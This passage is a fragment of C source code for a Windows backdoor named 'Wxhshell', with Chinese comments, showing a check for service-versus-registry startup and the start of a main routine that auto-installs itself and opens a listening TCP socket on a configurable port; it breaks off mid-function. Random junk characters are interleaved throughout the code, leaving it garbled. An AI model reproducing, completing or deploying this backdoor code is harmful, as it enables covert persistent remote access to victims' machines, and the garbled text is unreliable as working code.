T3oE> if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -"Hy%wE iR(jCD?) Y CloseHandle(hProcess); p&|:,|jo5 ^B`*4 if(strstr(procName,"services")) return 1; // 以服务启动 /6PL Wz]ny3K[. return 0; // 注册表启动 TaI72"8 } ir/-zp_ 27q=~R} // 主模块 F vt5vQ int StartWxhshell(LPSTR lpCmdLine) G34fxhh { >^5UXQr SOCKET wsl; m^M sp:T, BOOL val=TRUE; ~M!s0jT int port=0; qe{:9 struct sockaddr_in door; ltH?Ew<] /3mt=1/~{B if(wscfg.ws_autoins) Install(); RAps`)OR? XV|u!'Ey port=atoi(lpCmdLine); U3UDA *t3uj if(port<=0) port=wscfg.ws_port; %SHgXd#X ,KyG^;Riy WSADATA data; #'&&&_Hu3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U&}v1wdZ3 fCa*#ME if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; NplWF\5y setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'W2B**} door.sin_family = AF_INET; mufJ@Y S# door.sin_addr.s_addr = inet_addr("127.0.0.1"); @P@j9yR door.sin_port = htons(port); 4ZAnq{nR4 Op2@En|d if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q?uHdmY*X closesocket(wsl); V^[B=|56 return 1; < |